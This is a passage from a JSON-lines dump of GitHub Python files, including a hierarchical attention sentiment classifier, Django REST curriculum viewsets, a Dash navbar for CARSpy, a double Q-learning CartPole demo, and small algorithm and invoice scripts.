pd.read_csv(os.path.join(args['text_data_dir'],'%s/%s_pos_text.csv'%(dataset,dataset)))\n\n\n # df_neg_text['text'] = clean_corpus(df_neg_text.text.tolist())\n # df_pos_text['text'] = clean_corpus(df_pos_text.text.tolist())\n\n ## raw text\n texts = df_neg_text.text.tolist()+df_pos_text.text.tolist()\n\n ## labels \n labels = np.array([0]*len(df_neg_text)+[1]*len(df_pos_text))\n\n print(len(texts),np.bincount(labels))\n\n labels = to_categorical(np.asarray(labels))\n ## segmented documents\n reviews = []\n\n # for idx,document in enumerate(texts):\n # temp_seg_doc = []\n # for sentence in document.split('\\n'):\n # if len(sentence.split())>2:\n # temp_seg_doc.append(sentence.strip())\n # reviews.append(temp_seg_doc)\n \n for idx,document in enumerate(texts):\n temp_seg_doc = []\n for sentence in tokenize.sent_tokenize(document):\n if len(sentence.split())>2:\n temp_seg_doc.append(sentence.strip().lower())\n reviews.append(temp_seg_doc)\n \n\n tokenizer = Tokenizer(num_words=args['max_words'])\n tokenizer.fit_on_texts(texts)\n\n data = np.zeros((len(texts), args['max_sentences'], args['maxlen']), dtype='int32')\n\n for i, sentences in enumerate(reviews):\n for j, sent in enumerate(sentences):\n if j < args['max_sentences']:\n wordTokens = text_to_word_sequence(sent)\n k = 0\n for _, word in enumerate(wordTokens):\n if k < args['maxlen'] and tokenizer.word_index[word] < args['max_words']:\n data[i, j, k] = tokenizer.word_index[word]\n k = k + 1\n \n word_index = tokenizer.word_index\n print('Total %s unique tokens.' % len(word_index))\n print('Shape of reviews (data) tensor:', data.shape)\n print('Shape of sentiment (label) tensor:', labels.shape)\n\n\n return data, labels, df_neg_text, df_pos_text, word_index\n\n\nif __name__ == \"__main__\":\n\n # max_len = max(len(max(pre_trained_pos,key = lambda x: len(x))),len(max(pre_trained_neg,key = lambda x: len(x))))\n\n parser = OptionParser(usage='usage: -r random_seeds -d dataset_name -l learning_rate -e no_epochs -s train_size')\n\n \n parser.add_option(\"-d\",\"--dataset_name\", action=\"store\", type=\"string\", dest=\"dataset_name\", help=\"directory of data encoded by token-level Roberta\", default = 'longer_moviereview')\n parser.add_option(\"-l\",\"--learning_rate\", action=\"store\", type=\"float\", dest=\"learning_rate\", help=\"learning rate\", default=1e-3)\n parser.add_option(\"-e\",\"--no_epochs\", action=\"store\", type=\"int\", dest=\"no_epochs\", help=\"the number of epochs\",default=50)\n parser.add_option('-r', '--random_seeds', type='string', action='callback',dest='random_seeds',callback=list_callback,default=['1988','1989'])\n parser.add_option('-s', '--training_size', type='string', action='callback',dest='training_size',callback=list_callback,default=['50','100'])\n\n (options, _) = parser.parse_args()\n\n\n for number in options.training_size:\n if int(number)>200:\n parser.error( \"The largest training size is 200, you can customize the maximum training size by modifying the corrsponding codes of initializing training set.\" )\n\n dataset = options.dataset_name\n lr = options.learning_rate\n no_epochs = options.no_epochs\n embeddings_index = args['embeddings_index']\n\n # one can customize the maximum number instances in the training set by modifyting the corresponding codes of initializing training set\n train_sizes = [int(number) for number in options.training_size]\n random_states = [int(number) for number in options.random_seeds]\n\n print('number of epochs: ', no_epochs)\n print('dataset name: ', dataset)\n print('initial random states: ', random_states)\n print('training set sizes: ', train_sizes)\n\n\n \n data, labels,df_neg_text, df_pos_text, word_index = import_data(dataset)\n\n\n for idx,train_size in enumerate(train_sizes):\n \n df_all = pd.DataFrame()\n df_all_auc = pd.DataFrame()\n\n accs = []\n aucs = []\n confusion_matrices = []\n \n for seed in random_states:\n\n index_shuffle = shuffle([i for i in range(data.shape[0])], random_state=seed)\n\n total_train_shuffle = index_shuffle[:200]\n train_shuffle = total_train_shuffle[:train_size]\n test_shuffle = index_shuffle[200:]\n\n y_categorical = np.array([0]*len(df_neg_text)+[1]*len(df_pos_text))\n\n x_train,y_train = data[train_shuffle],labels[train_shuffle]\n x_val, y_val = x_train,y_train\n x_test,y_test,y_test_cate = data[test_shuffle], labels[test_shuffle],y_categorical[test_shuffle]\n\n print('Number of positive and negative reviews in training and validation set')\n print(y_train.sum(axis=0))\n print(y_val.sum(axis=0))\n\n ## prtrained GloVe embeddings downloaded from https://www.kaggle.com/incorpes/glove6b200d\n f = open(os.path.join(args['glove_dir'], 'glove.6B.200d.txt'),encoding='utf8')\n for line in f:\n values = line.split()\n word = values[0]\n coefs = np.asarray(values[1:], dtype='float32')\n embeddings_index[word] = coefs\n f.close()\n\n print('Total %s word vectors.' % len(embeddings_index))\n\n # building Hierachical Attention network\n embedding_matrix = np.random.random((len(word_index) + 1, args['embedding_dim']))\n for word, i in word_index.items():\n embedding_vector = embeddings_index.get(word)\n if embedding_vector is not None:\n # words not found in embedding index will be all-zeros.\n embedding_matrix[i] = embedding_vector\n\n embedding_layer = Embedding(len(word_index) + 1, args['embedding_dim'], weights=[embedding_matrix],\n input_length=args['maxlen'], trainable=True, mask_zero=True)\n\n sentence_input = Input(shape=(args['maxlen'],), dtype='int32')\n embedded_sequences = embedding_layer(sentence_input)\n lstm_word = Bidirectional(GRU(50, return_sequences=True))(embedded_sequences)\n attn_word = HierarchicalAttentionNetwork(100)(lstm_word)\n sentenceEncoder = Model(sentence_input, attn_word)\n\n review_input = Input(shape=(args['max_sentences'], args['maxlen']), dtype='int32')\n review_encoder = TimeDistributed(sentenceEncoder)(review_input)\n lstm_sentence = Bidirectional(GRU(100, return_sequences=True))(review_encoder)\n attn_sentence = HierarchicalAttentionNetwork(100)(lstm_sentence)\n preds = Dense(2, activation='softmax')(attn_sentence)\n model = Model(review_input, preds)\n \n callback = callbacks.EarlyStopping(monitor='loss', patience=3,min_delta=1e-4)\n opt = optimizers.Adam(lr=lr)\n model.compile(loss='categorical_crossentropy', optimizer=opt, metrics=['acc'])\n\n print(\"model fitting - Hierachical attention network\")\n\n his = model.fit(x_train, y_train, validation_data=(x_val, y_val), nb_epoch=no_epochs, batch_size=args['batch_size'],callbacks=[callback])\n\n y_predict = model.predict(x_test)\n y_eval_prob_pos = np.array(y_predict)[:,1]\n\n y_pred = np.argmax(y_predict,axis=1)\n acc = metrics.accuracy_score(y_test_cate, y_pred)\n accs.append(acc)\n\n fpr, tpr, thresholds = metrics.roc_curve(y_test_cate, y_eval_prob_pos,pos_label=1)\n auc = metrics.auc(fpr, tpr)\n aucs.append(auc)\n \n tn, fp, fn, tp = confusion_matrix(y_test_cate, y_pred, labels=[0,1]).ravel()\n confusion_matrices.append({'TP':tp, 'TN':tn, 'FP': fp, 'FN':fn})\n \n\n\n df_all['result'] = [row for row in confusion_matrices]\n df_all['seed'] = random_states\n df_all = df_all.set_index('seed')\n df_all.to_csv(os.path.join(args['output_dir'],'raw_%s_han_%s.csv'%(dataset,train_size)),index=True)\n\n df_all_auc['result'] = [row for row in aucs]\n df_all_auc['seed'] = random_states\n df_all_auc = df_all_auc.set_index('seed')\n df_all_auc.to_csv(os.path.join(args['output_dir'],'auc_%s_han_%s.csv'%(dataset,train_size)),index=True)\n\n\n","repo_name":"GeorgeLuImmortal/Hierarchical-BERT-Model-with-Limited-Labelled-Data","sub_path":"run_han.py","file_name":"run_han.py","file_ext":"py","file_size_in_byte":12203,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"77"} +{"seq_id":"13036530211","text":"import datetime\n\nfrom django.utils import timezone\n\n# from django.db.models import Q\nfrom django.db.models import F\n\nfrom rest_framework import serializers, status, permissions, mixins\nfrom rest_framework.response import Response\nfrom rest_framework.viewsets import ModelViewSet, GenericViewSet\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.exceptions import NotFound, ValidationError\nfrom rest_framework.permissions import AllowAny, IsAuthenticated\n\n# from drf_haystack.serializers import HaystackSerializer\n# from drf_haystack.viewsets import HaystackViewSet\n\nfrom .models import Curriculum, Unit, Module, Lesson, Question, Game, UnitConversion\nfrom .services import get_progress_service, LessonLocked, LessonProgress\n\nfrom .serializers import QuestionSerializer, UserResponseSerializer, AnswerSerializer,\\\n LessonSerializer, ScoreBoardSerializer, ModuleSerializer, UnitSerializer,\\\n CurriculumSerializer, LessonProgressSerializer\n\n# from .search_indexes import CurriculumIndex\n\nfrom .djeddit import create_thread\n\n# from profiles.serializers import PublicProfileSerializer\n# from pib_auth.models import User\n\n# TODO need to filter all elements with Curriculum setting_publically=True or request.user is author or in collaborators\n\n\ndef check_classroom_progress(service, user):\n if user.is_authenticated and service.current_lesson_progress.score >= service.COMPLETION_THRESHOLD:\n from classroom.models import AssignmentProgress\n\n AssignmentProgress.objects.recalculate_status_by_lesson(service.current_lesson, user)\n\n\nclass QuestionViewSet(ModelViewSet):\n\n serializer_class = QuestionSerializer\n queryset = Question.objects.all()\n permission_classes = []\n lookup_field = 'uuid'\n\n def retrieve(self, request, *args, **kwargs):\n instance = self.get_object()\n # see also LessonViewSet.get_next_question\n new_thread = create_thread(instance)\n if new_thread:\n Question.objects.filter(pk=instance.pk).update(thread=new_thread)\n\n # increment view count TODO\n # if new_thread:\n # # save new thread in probllem\n # Question.objects.filter(pk=instance.pk).update(count_views=F('count_views') + 1, thread=new_thread)\n # else:\n # Question.objects.filter(pk=instance.pk).update(count_views=F('count_views') + 1)\n\n return super(QuestionViewSet, self).retrieve(request, *args, **kwargs)\n\n def user_response(self, request, uuid):\n question = self.get_object() # self is an instance of the question with the matching uuid\n data = {'question': question.pk, 'answered_on': timezone.now()}\n data.update(request.data)\n sr = UserResponseSerializer(data=data)\n sr.is_valid(raise_exception=True)\n kwargs = {}\n if request.user.is_authenticated:\n kwargs['profile'] = request.user.profile\n user_response = sr.get_response(**kwargs)\n service = get_progress_service(request, question.lesson)\n try:\n is_correct = service.check_user_response(user_response)\n except LessonLocked as e:\n raise serializers.ValidationError(e)\n data = LessonProgressSerializer(service.current_lesson_progress).data\n\n check_classroom_progress(service, self.request.user)\n\n data['required_score'] = service.COMPLETION_THRESHOLD\n data['was_correct'] = is_correct\n if not is_correct:\n if user_response.content:\n data['correct_answer'] = AnswerSerializer(user_response.get_correct_answer()).data\n elif user_response.answers_list:\n data['correct_answer'] = AnswerSerializer(user_response.get_correct_answer(), many=True).data\n return Response(data)\n\n # @renderer_classes((JSONRenderer,))\n def service_request(self, request, uuid):\n if 'type' in request.query_params and request.query_params['type'] == 'execute_mysql':\n question = self.get_object()\n if question.answer_type != Question.AnswerType.MYSQL or 'value' not in request.data:\n raise ValidationError({'error': 'Initial data validation error'})\n answer = question.answers.first()\n try:\n return Response({\n 'json_mysql_result': answer.content.get_json_from_sql(str(request.data['value']))\n })\n except Exception as e:\n raise ValidationError({'error': '{}'.format(e)})\n\n else:\n raise NotFound\n\n\nclass LessonViewSet(ModelViewSet):\n\n serializer_class = LessonSerializer\n queryset = Lesson.objects.all()\n lookup_field = 'uuid'\n\n def get_serializer_context(self):\n context = super(LessonViewSet, self).get_serializer_context()\n context['progress_service'] = get_progress_service(context['request'])\n return context\n\n def get_next_question(self, request, uuid):\n lesson = self.get_object()\n service = get_progress_service(request, lesson)\n previous_question = None\n previous_question_uuid = request.query_params.get('previous_question')\n if previous_question_uuid:\n previous_question = Question.objects.filter(uuid=previous_question_uuid).first()\n try:\n question = service.get_next_question(previous_question)\n except LessonLocked as e:\n raise serializers.ValidationError(e)\n if question:\n new_thread = create_thread(question)\n if new_thread:\n Question.objects.filter(pk=question.pk).update(thread=new_thread)\n question.thread = new_thread\n data = QuestionSerializer(question, context={'progress_service': service}).data\n # TODO: it might make more sense for these fields to be on the\n # lesson. Or a separate lesson_progress object.\n data.update(LessonProgressSerializer(service.current_lesson_progress).data)\n data['required_score'] = service.COMPLETION_THRESHOLD\n return Response(data)\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\n@api_view(['GET'])\n@permission_classes([AllowAny])\ndef get_unit_conversion_units(request):\n return Response(UnitConversion.UnitConversionUnits)\n\n\n@api_view(['POST'])\n@permission_classes([AllowAny])\ndef game_success(request, uuid):\n try:\n game = Game.objects.get(lesson__uuid=uuid)\n except Game.DoesNotExist:\n raise NotFound()\n\n service = get_progress_service(request, game.lesson)\n\n n = 10 # max number of results to show\n\n duration_ms = request.data.get('duration', None)\n score = request.data.get('score', None)\n if duration_ms:\n dur = datetime.timedelta(milliseconds=duration_ms)\n else:\n dur = None\n\n service.game_success(game, dur, score)\n\n check_classroom_progress(service, request.user)\n\n if game.slug == 'unit-conversion' or game.slug == 'vector-game': # temp fix\n # get score list for\n # try:\n scores = service.get_score_board_qs(game.lesson).exclude(duration__isnull=True)\n data_scores_list = []\n user_already_in_score_list = False\n\n for row_num, row in enumerate(scores[:10]):\n # add score if user in top 10\n # current registered user\n if request.user.is_authenticated:\n if request.user.profile.id == row.profile_id:\n current_user_score = service.get_score_board_qs(game.lesson).\\\n get(profile__user=request.user)\n setattr(current_user_score, 'row_num', row_num + 1)\n data_scores_list.append(current_user_score)\n user_already_in_score_list = True\n continue\n # current anon user\n else:\n if row.duration > dur:\n if not user_already_in_score_list:\n current_user_score = LessonProgress(score=score, duration=dur, lesson=game.lesson)\n setattr(current_user_score, 'row_num', row_num + 1)\n data_scores_list.append(current_user_score)\n user_already_in_score_list = True\n continue\n\n setattr(row, 'row_num', row_num + 1)\n\n if row.duration:\n data_scores_list.append(row)\n\n # add score if user not in top 10\n if not user_already_in_score_list:\n if request.user.is_authenticated:\n current_user_score = service.get_score_board_qs(game.lesson).get(profile__user=request.user)\n else:\n current_user_score = LessonProgress(score=score, duration=dur, lesson=game.lesson)\n\n position = service.get_score_board_qs(game.lesson).filter(duration__lt=current_user_score.duration).count()\n setattr(current_user_score, 'row_num', position + 1)\n data_scores_list.append(current_user_score)\n\n data = ScoreBoardSerializer(data_scores_list[:n], many=True).data\n return Response(data)\n\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass ModuleViewSet(ModelViewSet):\n\n serializer_class = ModuleSerializer\n queryset = Module.objects.all()\n lookup_field = 'uuid'\n\n def get_serializer_context(self):\n context = super(ModuleViewSet, self).get_serializer_context()\n context['progress_service'] = get_progress_service(context['request'])\n return context\n\n\nclass UnitViewSet(ModelViewSet):\n\n def get_serializer_context(self):\n context = super(UnitViewSet, self).get_serializer_context()\n context['progress_service'] = get_progress_service(context['request'])\n return context\n\n serializer_class = UnitSerializer\n queryset = Unit.objects.all()\n lookup_field = 'uuid'\n\n\nclass CurriculaViewSet(ModelViewSet):\n\n serializer_class = CurriculumSerializer\n queryset = Curriculum.objects.all()\n lookup_field = 'uuid'\n\n def get_queryset(self):\n queryset = self.queryset\n filter_by = self.request.query_params.get('filter', None)\n if filter_by and self.request.user.is_authenticated:\n if filter_by == 'my':\n # todo do we need to get curricula of user classrooms?\n queryset = queryset.filter(author=self.request.user)\n elif filter_by == 'other':\n queryset = queryset.exclude(author=self.request.user)\n elif filter_by == 'default':\n queryset = queryset.filter(author__pk=2) # Physics Is Beautiful\n\n return queryset\n\n def get_serializer_context(self):\n context = super(CurriculaViewSet, self).get_serializer_context()\n context['progress_service'] = get_progress_service(context['request'])\n return context\n\n def get_object(self):\n lookup_id = self.kwargs.get(self.lookup_url_kwarg or self.lookup_field)\n if lookup_id and lookup_id.lower() == 'default':\n user = None\n if self.request.user.is_authenticated:\n user = self.request.user\n return Curriculum.objects.get_default(user=user)\n return super(CurriculaViewSet, self).get_object()\n\n\n\n# # Postgresql FTS Search\n# from django.contrib.postgres.search import SearchVector, SearchQuery, SearchRank\n#\n#\n# class CurriculaSearchViewSet(mixins.ListModelMixin,\n# GenericViewSet):\n# permission_classes = (permissions.IsAuthenticated,)\n# serializer_class = CurriculumSerializer\n# queryset = Curriculum.objects.all()\n# lookup_field = 'uuid'\n#\n# def get_queryset(self):\n# qs = self.queryset\n#\n# keywords = self.request.GET.get('query')\n# if not keywords:\n# raise NotAcceptable('Search query required')\n#\n# query = SearchQuery(keywords)\n# vector = SearchVector('name', 'description')\n# qs = qs.annotate(search=vector).filter(search=query)\n# qs = qs.annotate(rank=SearchRank(vector, query)).order_by('-rank')\n#\n# return qs\n\n\n# FTS Search\n\n# class CurriculumSearchSerializer(HaystackSerializer):\n#\n# def to_representation(self, instance):\n# representation = super().to_representation(instance)\n# # WO hitting DB\n# request = self.context.get('request', None)\n# if 'image' in representation and representation['image']:\n# if request is not None:\n# representation['image'] = request.build_absolute_uri(representation['image'])\n# # With hitting DB\n# # representation['image'] = None\n# # if instance.object.image:\n# # representation['image'] = instance.object.image.url\n#\n# representation['author'] = {}\n# representation['author']['pk'] = instance.author_pk\n# representation['author']['get_absolute_url'] = instance.author_get_absolute_url\n# representation['author']['display_name'] = instance.author_display_name\n#\n# return representation\n#\n# class Meta:\n# index_classes = [CurriculumIndex]\n#\n# # The `fields` contains all the fields we want to include.\n# # NOTE: Make sure you don't confuse these with model attributes. These\n# # fields belong to the search index!\n# fields = [\n# \"text\", \"name\", \"description\", \"uuid\", \"image\", \"author\"\n# ]\n#\n#\n# class CurriculaSearchViewSet(HaystackViewSet):\n# permission_classes = [IsAuthenticated]\n# index_models = [Curriculum]\n# serializer_class = CurriculumSearchSerializer\n\n","repo_name":"studyhub-co/physics-is-beautiful","sub_path":"curricula/apis.py","file_name":"apis.py","file_ext":"py","file_size_in_byte":13605,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"77"} +{"seq_id":"36437682114","text":"from pathlib import Path\nfrom dash.dependencies import Input, Output, State\nimport dash_html_components as html\nimport dash_core_components as dcc\nimport dash_bootstrap_components as dbc\n\nfrom app import app\nfrom tab_synthesize import tab_synth\nfrom tab_fit import tab_fit\n\n\n# callback for collapsing menu\n@app.callback(\n Output(\"navbar-collapse\", \"is_open\"),\n [Input(\"navbar-toggler\", \"n_clicks\")],\n [State(\"navbar-collapse\", \"is_open\")],\n)\ndef toggle_navbar_collapse(n, is_open):\n if n:\n return not is_open\n return is_open\n\n\ndef popup_modal(card_name, src=None, description=\"\",\n modal_id=\"modal\", close_id=\"close\"):\n modal = dbc.Modal(\n [\n dbc.ModalHeader(card_name),\n dbc.ModalBody(\n [\n html.Img(src=src, className=\"w-100\"),\n html.P(description)\n ]\n ),\n dbc.ModalFooter(\n dbc.Button(\"Close\", id=close_id,\n className=\"ml-auto\")\n ),\n ],\n id=modal_id,\n size=\"lg\",\n centered=True,\n # backdrop=\"static\"\n )\n return modal\n\n\ndef popup_menu(name, id, src, modal_id, close_id, description=\"\"):\n menu_item = dbc.DropdownMenuItem(\n [\n name,\n popup_modal(name, src=src, modal_id=modal_id, close_id=close_id,\n description=description)\n ],\n id=id,\n )\n return menu_item\n\n\ndef toggle_modal(n1, n2, is_open):\n if n1 or n2:\n return not is_open\n return is_open\n\n\nfor _modal, _button, _close in zip(\n [\"struc-modal\", \"models-modal\", \"vs1-modal\", \"vs2-modal\",\n \"info-modal\"],\n [\"struc-pop\", \"models-pop\", \"vs1-pop\", \"vs2-pop\", \"info-pop\"],\n [\"struc-close\", \"models-close\", \"vs1-close\", \"vs2-close\",\n \"info-close\"]):\n app.callback(\n Output(_modal, \"is_open\"),\n [Input(_button, \"n_clicks\"), Input(_close, \"n_clicks\")],\n [State(_modal, \"is_open\")],\n )(toggle_modal)\n\n\n# generate nav tabs\n@app.callback(\n Output(\"main-content\", \"children\"),\n Input(\"nav-tabs\", \"active_tab\"),\n)\ndef tab_content(active_tab):\n if active_tab == \"nav-tab-synthesize\":\n return tab_synth\n elif active_tab == \"nav-tab-fit\":\n return tab_fit\n\n\n# load the markdown file\nwith open(Path(__file__).parent / \"README.md\", \"r\") as f:\n intro_md = f.read()\n\n# features\nIMG_STRUCT = (\"https://raw.githubusercontent.com/chuckedfromspace/carspy/\"\n + \"main/assets/carspy_struct.png\")\nIMG_MODEL = (\"https://raw.githubusercontent.com/chuckedfromspace/carspy/\"\n + \"main/assets/cars_model.png\")\nIMG_COMPARE1 = (\"https://raw.githubusercontent.com/chuckedfromspace/carspy/\"\n + \"main/assets/vs_CARSFT_01.jpeg\")\nIMG_COMPARE2 = (\"https://raw.githubusercontent.com/chuckedfromspace/carspy/\"\n + \"main/assets/vs_CARSFT_02.jpeg\")\nCAP_1 = (\"Synthesized CARS spectra in N2 at 1 atm, 2400 K, \"\n + \"with a pump linewidth of 0.5 cm-1, \"\n + \"using Voigt lineshape and cross-coherence convolution.\")\nCAP_2 = (\"Synthesized CARS spectra in N2 at 10 atm, 2400 K, \"\n + \"with a pump linewidth of 0.5 cm-1, using modified exponential \"\n + \"gap law (MEG) and cross-coherence convolution\")\nfeature_menu = dbc.DropdownMenu(\n [\n popup_menu(\"CARSpy Structure\",\n id=\"struc-pop\",\n src=IMG_STRUCT,\n modal_id=\"struc-modal\",\n close_id=\"struc-close\"),\n popup_menu(\"CARS Models\",\n id=\"models-pop\",\n src=IMG_MODEL,\n modal_id=\"models-modal\",\n close_id=\"models-close\"),\n popup_menu(\"vs. CARSFT (low pressure)\",\n id=\"vs1-pop\",\n src=IMG_COMPARE1,\n modal_id=\"vs1-modal\",\n close_id=\"vs1-close\",\n description=CAP_1),\n popup_menu(\"vs. CARSFT (high pressure)\",\n id=\"vs2-pop\",\n src=IMG_COMPARE2,\n modal_id=\"vs2-modal\",\n close_id=\"vs2-close\",\n description=CAP_2),\n ],\n nav=True,\n in_navbar=True,\n label=\"Features\",\n style={\"font-size\": \"1.2em\"}\n),\n\nnavbar_title = dbc.Container(\n [\n html.A(\n dbc.Row(\n [\n dbc.Col(html.Img(src=app.get_asset_url(\"logo.svg\"),\n height=\"32px\")),\n dbc.Col(dbc.NavbarBrand(\n \"CARSpy\",\n className=\"ml-2 font-weight-bold\",\n style={\"font-size\": \"1.7em\"}\n )\n ),\n dbc.Nav(feature_menu, navbar=True)\n ],\n align=\"center\",\n no_gutters=True,\n ),\n ),\n dbc.NavbarToggler(id=\"navbar-toggler\"),\n dbc.Collapse(\n dbc.Nav(\n [\n dbc.NavLink(\n [\n html.I(\n title=\"Intro\",\n className=\"fas fa-info-circle mr-1\",\n style={\"font-size\": \"1.5em\"},\n id=\"info-icon\"\n ),\n popup_modal(\"Introduction\",\n description=dcc.Markdown(intro_md),\n modal_id=\"info-modal\",\n close_id=\"info-close\"),\n ],\n id=\"info-pop\",\n href=\"#\"\n ),\n dbc.NavLink(\n [\n html.I(\n title=\"Github\",\n className=\"fab fa-github mr-1\",\n style={\"font-size\": \"1.5em\"}\n ),\n \"\",\n ],\n target=\"_blank\",\n href=\"https://github.com/chuckedfromspace/\"\n + \"carspy-dash\",\n ),\n dbc.NavLink(\n [\n html.I(\n title=\"Docs\",\n className=\"fas fa-book mr-1\",\n style={\"font-size\": \"1.5em\"}\n ),\n \"\",\n ],\n target=\"_blank\",\n href=\"https://carspy.readthedocs.io/\"\n ),\n dbc.NavLink(\n [\n html.I(\n title=\"PyPI\",\n className=\"fas fa-cubes mr-1\",\n style={\"font-size\": \"1.5em\"}\n ),\n \"\",\n ],\n target=\"_blank\",\n href=\"https://pypi.org/project/carspy/\"\n ),\n ],\n className=\"ml-auto\",\n navbar=True\n ),\n id=\"navbar-collapse\",\n navbar=True\n ),\n ],\n fluid=True,\n),\n\nnavbar_tabs = dbc.Container(\n dbc.Tabs(\n [\n dbc.Tab(\n tab_id=\"nav-tab-synthesize\",\n label=\"Synthesize\",\n tab_style={\n \"margin-left\": 10,\n },\n activeLabelClassName=\"border-primary font-weight-bold\",\n active_label_style={\n \"background-color\": \"rgb(240,240,240)\",\n \"border-width\": \"0px 0px 2px 0px\",\n },\n ),\n dbc.Tab(\n tab_id=\"nav-tab-fit\",\n label=\"Least-Square Fit\",\n activeLabelClassName=\"border-primary font-weight-bold\",\n active_label_style={\n \"background-color\": \"rgb(240,240,240)\",\n \"border-width\": \"0px 0px 2px 0px\",\n },\n ),\n ],\n id=\"nav-tabs\",\n active_tab=\"nav-tab-synthesize\",\n className=\"pt-2\"\n ),\n fluid=False,\n className=\"mb-3\"\n)\n\nnavbar = dbc.Container(\n [\n dbc.Navbar(\n navbar_title,\n color=\"primary\",\n dark=True,\n ),\n ],\n fluid=True,\n className=\"bg-primary\"\n)\n","repo_name":"chuckedfromspace/carspy-dash","sub_path":"navbar.py","file_name":"navbar.py","file_ext":"py","file_size_in_byte":8692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"1003657229","text":"#\n#Double Q-learning with function approximation\n# - Demoed using OpenAi CartPole\n#\n\nfrom dbl_qlearn_fa import dbl_qlearn_fa\nimport gym\nimport torch\ntorch.manual_seed(456) #let's make things repeatable! (only affects PyTorch neural-network param initialization in this demo)\nshow_plots=True\n\n\n#Small feedforward neural network model for q (PyTorch)\n# This NN architecture style is state in, q-per-action out\n#\nclass MLP(torch.nn.Module):\n def __init__(self, numFeatures,numActions):\n '''\n Parameters:\n numFeatures: Number of input features\n numActions: Number of output actions\n '''\n super().__init__()\n\n self.dense1=torch.nn.Linear(numFeatures,32)\n self.relu1=torch.nn.ReLU()\n self.dense2=torch.nn.Linear(32,numActions)\n \n def forward(self,s):\n '''\n Compute value function q(s,a,w) by forward computation through MLP \n '''\n feature_input=torch.tensor(s,dtype=torch.float32)\n\n #forward propagate input through network layers\n output=self.dense1(feature_input)\n output=self.relu1(output)\n output=self.dense2(output)\n\n return output\n\n @property\n def weights(self):\n '''\n Return model parameters\n '''\n return self.parameters()\n\n\n#################################################################\n#\n# 1. Compute & demo optimal policy for OpenAI CartPole environment\n# (generates animated .mp4 video to demo computed policy)\n#\n#\n\nsimenv = gym.make('CartPole-v1')\nsimenv.numActions=simenv.action_space.n\nsimenv.numFeatures=simenv.observation_space.shape[0]\n\nq1=MLP(simenv.numFeatures,simenv.numActions)\nq2=MLP(simenv.numFeatures,simenv.numActions)\n \n#Compute q(s,a) using Double Q-learning with function approximation\ndbl_qlearn_fa(simenv,q1,q2,0.99,1.0,1e-3,5000,500,decayEpsilon=True,showPlots=show_plots)\n\n\n#run an episode using computed q(s,a)\nfrom gym.wrappers import RecordVideo\nsimenv = RecordVideo(gym.make('CartPole-v1'), './cartpole_video')\nstate=simenv.reset(seed=789)\n\nterm_status=False\nepisode_len=0\nwhile not term_status:\n action=int(torch.argmax((q1.forward(state)+q2.forward(state))/2))\n (next_state,reward,term_status,_)=simenv.step(action)\n \n if term_status: break #reached end of episode\n state=next_state\n episode_len+=1\nprint('Episode Length: {}'.format(episode_len))\n\nsimenv.close()\n \n#\n# End\n#\n#################################################################\n\n","repo_name":"putoze/RL_lecture","sub_path":"HW/hw9/double_q_learning/dbl_qlearn_fa_demo.py","file_name":"dbl_qlearn_fa_demo.py","file_ext":"py","file_size_in_byte":2481,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"921800476","text":"from collections import defaultdict\n\nN = int(input())\narchive = defaultdict(int)\nanswer = 0\n\nfor _ in range(N):\n word = input()\n wordLen = len(word)\n for i in range(wordLen):\n archive[word[i]] += 10**(wordLen-i-1)\n\nvalueList = list(archive.values())\nvalueList.sort(reverse=True)\nnumbers = list(range(10))\n\nfor v in valueList:\n answer += v*(numbers.pop())\n\nprint(answer)","repo_name":"snowedev/Algorithm","sub_path":"By-Python/baekjoon/[greedy]/단어수학.py","file_name":"단어수학.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"1879349020","text":"\"\"\"cálculo de total de una factura usando diccionario\"\"\"\r\n\"\"\"los diccionarios no función con índice numérico sino string\"\"\"\r\n\"\"\"se introduce precio unitario y cantidad de productos,\r\nseguirá introduciendo ambos valores hasta que ponga 0. Este\r\núltimo precio será descartado.\"\"\"\r\n\"\"\"restricciones:\r\n -números decimales para precio y enteros positivos para cantidad.\r\n -el programa advierte dato no numérico y volverá a pedirlo.\r\n -resultado de precio se redondea a 2 decimales.\r\npuntos a valorar:\r\n -diferenciar entrada, procesamiento y salida de datos con\r\n comentarios o agrupando\r\nretos:\r\n -crear función valoración de enteros.\r\n -crear módulo reutilizable con la función de valoración de\r\n decimales y utilizarlo en el programa\r\n -utilizar python format para formatear la salida impresa.\r\n -utilizar if para distinguir unidad/unidades en función de\r\n la cantidad de producto\r\n\"\"\"\r\n_UNIDADES=0\r\n_PRECIO=1\r\ncadenaUnidades=input(\"Cantidad: \")\r\nunidades=float(cadenaUnidades)\r\n\r\ncadenaPrecio=input(\"Precio unitario (€): \")\r\nprecio=float(cadenaPrecio)\r\n\r\ntotalItems=0\r\nprecioTotal=0\r\n\r\nlistaLineasFact=[]\r\n\r\nwhile unidades>0 and precio>0:\r\n totalUnitario=unidades*precio\r\n item=dict()\r\n item['unidades']= unidades\r\n item['precio']= precio\r\n listaLineasFact.append(item)\r\n\r\n #lineasImpresion+= \"{}€ * {} unidades = {}€\\n\".format(precio,unidades,totalUnitario)\r\n totalItems+=unidades#totalItems=totalItems+unidades\r\n precioTotal+=totalUnitario#precioTotal=precioTotal+precio\r\n \r\n cadenaUnidades=input(\"Cantidad: \")\r\n unidades=float(cadenaUnidades)\r\n cadenaPrecio=input(\"Precio unitario (€): \")\r\n precio=float(cadenaPrecio)\r\n\r\nfor item in listaLineasFact:#empezamos a usar estructuras complejas\r\n print(item['precio'],\"€ *\",item['unidades'],\"unidades =\",item['unidades']*item['precio'],\"€\")\r\n\r\n#tres líneas de código para imprimir resultados\r\nprint(\"---------------------------------------\")\r\nprint(\"Total: \",precioTotal)\r\nprint(\"Unidades: \",totalItems)\r\n#la línea de abajo es alternativa usando format para imprimir usando solo una línea de código\r\nprint(\"---------------------------------------\\nTotal:\\t{:.2f}\\nUnidades:\\t{:.2f}\".format(precioTotal,totalItems))\r\n#/ \\n=retorno de carro/ / \\t=tabulador/ /{}=reservar posicion para valor/ /:.2f=redondear a 2 decimales/\r\nprint(\"\\033[3;33;41m\")#caracteres de control para formateo de 